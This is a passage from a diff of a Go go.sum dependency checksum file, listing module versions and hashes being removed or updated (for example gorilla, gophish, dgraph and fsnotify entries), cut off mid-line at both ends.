h1:+tQajlRqAUrPI7DOSpB0XAqZYtQakVtB7wXkRAgjxjQ= github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= -github.com/chzyer/readline v0.0.0-20170313234921-41eea22f717c h1:XivOW3zP3dR0iERq+wQGK8K6JHCXKIpsAu/RjuARbUU= -github.com/chzyer/readline v0.0.0-20170313234921-41eea22f717c/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e h1:fY5BOSpyZCqRo5OhCuC+XN+r/bBCmeuuJtjz+bCNIf8= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/clbanning/x2j v0.0.0-20191024224557-825249438eec/go.mod h1:jMjuTZXRI4dUb/I5gc9Hdhagfvm9+RyrPryS/auMzxE= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= -github.com/cockroachdb/datadriven v0.0.0-20190809214429-80d97fb3cbaa/go.mod h1:zn76sxSg3SzpJ0PPJaLDCu+Bu0Lg3sKTORVIj19EIF8= -github.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd/go.mod h1:sE/e/2PUdi/liOCUjSTXgM1o87ZssimdTWN964YiIeI= -github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= -github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk= -github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= -github.com/coreos/go-systemd v0.0.0-20180511133405-39ca1b05acc7/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd v0.0.0-20181012123002-c6f51f82210d/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= -github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= -github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE= -github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= -github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= -github.com/cretz/gopaque v0.0.0-20190206211514-8180617f489f h1:UumgEK+8eKtf6K5mM4Yp/ott/P7efdtQ0hFaXuljpbw= -github.com/cretz/gopaque v0.0.0-20190206211514-8180617f489f/go.mod h1:eGAWzckd6JlkkKDnMDTa31neEdEyjHgcxLJabY9mQV0= github.com/cretz/gopaque v0.1.0 h1:rC+coO7LzXnstyG7FmwK0XD7oV93tg9EZ+Fl2yZOeto= github.com/cretz/gopaque v0.1.0/go.mod h1:0npz8L/gL98OX2nWKF8WRSP8ZCAg89UKBBrBVrDXJQg= github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/dchest/safefile v0.0.0-20151022103144-855e8d98f185 h1:3T8ZyTDp5QxTx3NU48JVb2u+75xc040fofcBaN+6jPA= -github.com/dchest/safefile v0.0.0-20151022103144-855e8d98f185/go.mod h1:cFRxtTwTOJkz2x3rQUNCYKWC93yP1VKjR8NUhqFxZNU= -github.com/dedis/fixbuf v1.0.2 h1:vpZ8jjlC+4jMfpVd5Cu1Nyp0W5cGUbNRhdNPHeUeg+Y= -github.com/dedis/fixbuf v1.0.2/go.mod h1:2syWkaV6ERSAvTkXkD08E6Nrh3Wl8pHMa8F/+HFuAL4= -github.com/dedis/protobuf v1.0.4/go.mod h1:0LgwRPb2ytx7r8NJ4rVKiThOWf0/M4cIb51ClTEhVYk= -github.com/denisenkom/go-mssqldb v0.0.0-20191124224453-732737034ffd h1:83Wprp6ROGeiHFAP8WJdI2RoxALQYgdllERc3N5N2DM= -github.com/denisenkom/go-mssqldb v0.0.0-20191124224453-732737034ffd/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU= -github.com/dgraph-io/badger v1.6.2 h1:mNw0qs90GVgGGWylh0umH5iag1j6n/PeJtNvL6KY/x8= -github.com/dgraph-io/badger v1.6.2/go.mod h1:JW2yswe3V058sS0kZ2h/AXeDSqFjxnZcRrVH//y2UQE= -github.com/dgraph-io/ristretto v0.0.2 h1:a5WaUrDa0qm0YrAAS1tUykT5El3kt62KNZZeMxQn3po= -github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= -github.com/dgraph-io/ristretto v0.0.3 h1:jh22xisGBjrEVnRZ1DVTpBVQm0Xndu8sMl0CWDzSIBI= -github.com/dgraph-io/ristretto v0.0.3/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= -github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= -github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= -github.com/dustin/go-humanize v0.0.0-20171111073723-bb3d318650d4/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo= github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= -github.com/eapache/go-resiliency v1.1.0/go.mod h1:kFI+JgMyC7bLPUVY133qvEBtVayf5mFgVsvEsIPBvNs= -github.com/eapache/go-xerial-snappy v0.0.0-20180814174437-776d5712da21/go.mod h1:+020luEh2TKB4/GOp8oxxtq0Daoen/Cii55CzbTV6DU= -github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I= -github.com/edsrzf/mmap-go v1.0.0/go.mod h1:YO35OhQPt3KJa3ryjFM5Bs14WD66h8eGKpfaBNrHW5M= -github.com/emersion/go-imap v1.0.4 h1:uiCAIHM6Z5Jwkma1zdNDWWXxSCqb+/xHBkHflD7XBro= -github.com/emersion/go-imap v1.0.4/go.mod h1:yKASt+C3ZiDAiCSssxg9caIckWF/JG7ZQTO7GAmvicU= -github.com/emersion/go-message v0.11.1/go.mod h1:C4jnca5HOTo4bGN9YdqNQM9sITuT3Y0K6bSUw9RklvY= -github.com/emersion/go-message v0.12.0 h1:mZnv35eZ6lB6EftTQBgYXspOH0FQdhpFhSUhA9i6/Zg= -github.com/emersion/go-message v0.12.0/go.mod h1:C4jnca5HOTo4bGN9YdqNQM9sITuT3Y0K6bSUw9RklvY= -github.com/emersion/go-sasl v0.0.0-20191210011802-430746ea8b9b h1:uhWtEWBHgop1rqEk2klKaxPAkVDCXexai6hSuRQ7Nvs= -github.com/emersion/go-sasl v0.0.0-20191210011802-430746ea8b9b/go.mod h1:G/dpzLu16WtQpBfQ/z3LYiYJn3ZhKSGWn83fyoyQe/k= -github.com/emersion/go-textwrapper v0.0.0-20160606182133-d0e65e56babe h1:40SWqY0zE3qCi6ZrtTf5OUdNm5lDnGnjRSq9GgmeTrg= -github.com/emersion/go-textwrapper v0.0.0-20160606182133-d0e65e56babe/go.mod h1:aqO8z8wPrjkscevZJFVE1wXJrLpC5LtJG7fqLOsPb2U= -github.com/envoyproxy/go-control-plane v0.6.9/go.mod h1:SBwIajubJHhxtWwsL9s8ss4safvEdbitLhGGK48rN6g= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/erikstmartin/go-testdb v0.0.0-20160219214506-8d10e4a1bae5/go.mod h1:a2zkGnVExMxdzMo3M0Hi/3sEU+cWnZpSni0O6/Yb/P0= -github.com/fatih/color v0.0.0-20161025120501-bf82308e8c85 h1:g7ijd5QIEMWwZNVp/T/6kQ8RSh8rN+YNhghMcrET3qY= -github.com/fatih/color v0.0.0-20161025120501-bf82308e8c85/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= -github.com/felixge/httpsnoop v1.0.1 h1:lvB5Jl89CsZtGIWuTcDM1E/vkVs49/Ml7JJe07l8SPQ= -github.com/felixge/httpsnoop v1.0.1/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc= github.com/francoispqt/gojay v1.2.13 h1:d2m3sFjloqoIUQU3TsHBgj6qg/BVGlTBeHDUmyJnXKk= github.com/francoispqt/gojay v1.2.13/go.mod h1:ehT5mTG4ua4581f1++1WLG0vPdaA9HaiDsoyrBGkyDY= -github.com/franela/goblin v0.0.0-20200105215937-c9ffbefa60db/go.mod h1:7dvUGVsVBjqR7JHJk0brhHOZYGmfBYOrK0ZhYMEtBr4= -github.com/franela/goreq v0.0.0-20171204163338-bcd34c9993f8/go.mod h1:ZhphrRTfi2rbfLwlschooIH4+wKKDR4Pdxhh+TRoA20= github.com/fsnotify/fsnotify v1.4.7 h1:IXs+QLmnXW2CcXuY+8Mzv/fWEsPGWxqefPtCP5CnV9I= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= -github.com/fzipp/gocyclo v0.3.1 h1:A9UeX3HJSXTBzvHzhqoYVuE0eAhe+aM8XBCCwsPMZOc= -github.com/fzipp/gocyclo v0.3.1/go.mod h1:DJHO6AUmbdqj2ET4Z9iArSuwWgYDRryYt2wASxc7x3E= +github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4= +github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/gliderlabs/ssh v0.1.1/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0= -github.com/go-chi/chi v1.0.0 h1:s/kv1cTXfivYjdKJdyUzNGyAWZ/2t7duW1gKn5ivu+c= -github.com/go-chi/chi v4.1.2+incompatible h1:fGFk2Gmi/YKXk0OmGfBh0WgmN3XB8lVnEyNz34tQRec= -github.com/go-chi/chi v4.1.2+incompatible/go.mod h1:eB3wogJHnLi3x/kFX2A+IbTBlXxmMeXJVKy9tTv1XzQ= github.com/go-errors/errors v1.0.1 h1:LUHzmkK3GUKUrL/1gfBUxAHzcev3apQlezX/+O7ma6w= github.com/go-errors/errors v1.0.1/go.mod h1:f4zRHt4oKfwPJE5k8C9vpYG+aDHdBFUsgrm6/TyX73Q= -github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= -github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= -github.com/go-kit/kit v0.10.0/go.mod h1:xUsJbQ/Fp4kEt7AFgCuvyX4a71u8h9jB8tj/ORgOZ7o= -github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= -github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= -github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= -github.com/go-sql-driver/mysql v1.4.0 h1:7LxgVwFb2hIQtMm87NdgAVfXjnt4OePseqT1tKx+opk= -github.com/go-sql-driver/mysql v1.4.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w= -github.com/go-sql-driver/mysql v1.4.1/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w= -github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs= -github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= -github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= -github.com/gogo/googleapis v1.1.0/go.mod h1:gf4bu3Q80BeJ6H1S1vYPm8/ELATdvryBaNFGgqEef3s= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= -github.com/gogo/protobuf v1.2.0/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= -github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= -github.com/gojp/goreportcard v0.0.0-20190808093409-9f711d57eb7d h1:IVz69ynXKGHyc18+Nu8ceKsTdNvkPJUrkDL1Ya1DZ0E= -github.com/gojp/goreportcard v0.0.0-20190808093409-9f711d57eb7d/go.mod h1:/DA2Xpp+OaR3EHafQSnT9SKOfbG2NPQR/qp6Qr8AgIw= -github.com/gojp/goreportcard v0.0.0-20200415071653-59167b516f3f h1:9ZmDy86ZrqIHVGK/ZA0/gRogDx9ZHBc3U8+yX5DpQA4= -github.com/gojp/goreportcard v0.0.0-20200415071653-59167b516f3f/go.mod h1:/DA2Xpp+OaR3EHafQSnT9SKOfbG2NPQR/qp6Qr8AgIw= -github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY= -github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0= -github.com/golang/example v0.0.0-20170904185048-46695d81d1fa h1:iqCQC2Z53KkwGgTN9szyL4q0OQHmuNjeoNnMT6lk66k= -github.com/golang/example v0.0.0-20170904185048-46695d81d1fa/go.mod h1:tO/5UvQ/uKigUjQBPqzstj6uxd3fUIjddi19DxGJeWg= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/groupcache v0.0.0-20160516000752-02826c3e7903/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6 h1:ZgQEtGgCBiWRM39fZuwSd1LwSqqSW0hOdXCYYDX0R3I= -github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20191027212112-611e8accdfc9/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/lint v0.0.0-20180702182130-06c8688daad7 h1:2hRPrmiwPrp3fQX967rNJIhQPtiGXdlQWAxKbKw3VHA= github.com/golang/lint v0.0.0-20180702182130-06c8688daad7/go.mod h1:tluoj9z5200jBnyusfRPU2LqT6J+DAorxEvtC7LHB+E= -github.com/golang/lint v0.0.0-20200302205851-738671d3881b h1:BOvdkG2qv61G8DSvnEEgkjT/+tkEyHPPUfz0uGXXELY= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0 h1:28o5sBqPkBsMGnC6b4MvE2TzSr5/AT4c/1fLqVGIwlk= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= -github.com/golang/mock v1.3.1 h1:qGJ6qTW+x6xX/my+8YUVl4WNpX9B7+/l2tRsHGZ7f2s= -github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= -github.com/golang/mock v1.4.0 h1:Rd1kQnQu0Hq3qvJppYSG0HtP+f5LPPUiDswTLiEegLg= -github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/golang/mock v1.5.0 h1:jlYHihg//f7RRwuPfptm04yp4s7O6Kw8EZiVYIGcH0g= +github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8= github.com/golang/protobuf v1.2.0 h1:P3YflyNX/ehuJFLhxviNdFxQPkGK5cDcApsge1SqnvM= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= @@ -252,9 +84,7 @@ github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvq github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= github.com/golang/protobuf v1.4.2 h1:+Z5KGCizgyZCbGh1KZqA0fcLLkwbsjIzS4aV2v7wJX0= github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= -github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= @@ -265,343 +95,90 @@ github.com/google/go-cmp v0.5.1 h1:JFrFEBb2xKufg6XkJsJr+WbKb4FQlURi5RUcBveYu9k= github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ= github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= -github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= -github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= -github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= -github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= -github.com/google/uuid v1.0.0 h1:b4Gk+7WdP/d3HZH8EJsZpvV7EtDOgaZLtnaNGIu1adA= -github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.1.2 h1:EVhdT+1Kseyi1/pUmXKaFxYsDNy9RQYkMWRH68J/W7Y= -github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.1.3 h1:twObb+9XcuH5B9V1TBCvvvZoO6iEdILi2a76PYn5rJI= -github.com/google/uuid v1.1.3/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs= +github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go v2.0.0+incompatible h1:j0GKcs05QVmm7yesiZq2+9cxHkNK9YM6zKx4D2qucQU= github.com/googleapis/gax-go v2.0.0+incompatible/go.mod h1:SFVmujtThgffbyetf+mdk2eWhX2bMyUtNHzFKcPA9HY= github.com/googleapis/gax-go/v2 v2.0.3/go.mod h1:LLvjysVCY1JZeum8Z6l8qUty8fiNwE08qbEPm1M08qg= -github.com/googleapis/gax-go/v2 v2.0.4 h1:hU4mGcQI4DaAYW+IbTun+2qEZVFxK0ySjQLTbS0VQKc= -github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= -github.com/gophish/gomail v0.0.0-20200818021916-1f6d0dfd512e h1:URNpXdOxXAfuZ8wsr/DY27KTffVenKDjtNVAEwcR2Oo= -github.com/gophish/gomail v0.0.0-20200818021916-1f6d0dfd512e/go.mod h1:JGlHttcLdDp3F4g8bPHqqQnUUDuB3poB4zLXozQ0xCY= -github.com/gophish/gophish v0.11.0 h1:+T6ZvS6Pi+NhfmmejOJhmxLBfOOfVMXOL5JLPewQCpY= -github.com/gophish/gophish v0.11.0/go.mod h1:xCr1m1wCzrKXK+pPYSl8tBQhfbpRxMM/2CYN/UM/AyM= -github.com/gorilla/context v1.1.1/go.mod h1:kBGZzfjB9CEq2AlWe17Uuf7NDRt0dE0s8S51q0aT7Yg= -github.com/gorilla/csrf v1.6.2 h1:QqQ/OWwuFp4jMKgBFAzJVW3FMULdyUW7JoM4pEWuqKg= -github.com/gorilla/csrf v1.6.2/go.mod h1:7tSf8kmjNYr7IWDCYhd3U8Ck34iQ/Yw5CJu7bAkHEGI= -github.com/gorilla/csrf v1.7.0 h1:mMPjV5/3Zd460xCavIkppUdvnl5fPXMpv2uz2Zyg7/Y= -github.com/gorilla/csrf v1.7.0/go.mod h1:+a/4tCmqhG6/w4oafeAZ9pEa3/NZOWYVbD9fV0FwIQA= -github.com/gorilla/handlers v1.4.2 h1:0QniY0USkHQ1RGCLfKxeNHK9bkDHGRYGNDFBCS+YARg= -github.com/gorilla/handlers v1.4.2/go.mod h1:Qkdc/uu4tH4g6mTK6auzZ766c4CA0Ng8+o/OAirnOIQ= -github.com/gorilla/handlers v1.5.1 h1:9lRY6j8DEeeBT10CvO9hGW0gmky0BprnvDI5vfhUHH4= -github.com/gorilla/handlers v1.5.1/go.mod h1:t8XrUpc4KVXb7HGyJ4/cEnwQiaxrX/hz1Zv/4g96P1Q= -github.com/gorilla/mux v1.6.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= -github.com/gorilla/mux v1.7.3 h1:gnP5JzjVOuiZD07fKKToCAOjS0yOpj/qPETTXCCS6hw= -github.com/gorilla/mux v1.7.3/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= -github.com/gorilla/securecookie v1.1.1 h1:miw7JPhV+b/lAHSXz4qd/nN9jRiAFV5FwjeKyCS8BvQ= -github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= -github.com/gorilla/sessions v1.2.0 h1:S7P+1Hm5V/AT9cjEcUD5uDaQSX0OE577aCXgoaKpYbQ= -github.com/gorilla/sessions v1.2.0/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= -github.com/gorilla/sessions v1.2.1 h1:DHd3rPN5lE3Ts3D8rKkQ8x/0kqfeNmBAaiSi+o7FsgI= -github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= -github.com/gorilla/websocket v0.0.0-20170926233335-4201258b820c/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA= -github.com/grpc-ecosystem/go-grpc-middleware v1.0.1-0.20190118093823-f849b5445de4/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= -github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= github.com/grpc-ecosystem/grpc-gateway v1.5.0/go.mod h1:RSKVYQBd5MCa4OVpNdGskqpgL2+G+NZTnrVHpWWfpdw= -github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= -github.com/hashicorp/consul/api v1.3.0/go.mod h1:MmDNSzIMUjNpY/mQ398R4bk2FnqQLoPndWW5VkKPlCE= -github.com/hashicorp/consul/sdk v0.3.0/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= -github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= -github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= -github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= -github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU= -github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= -github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= -github.com/hashicorp/go-uuid 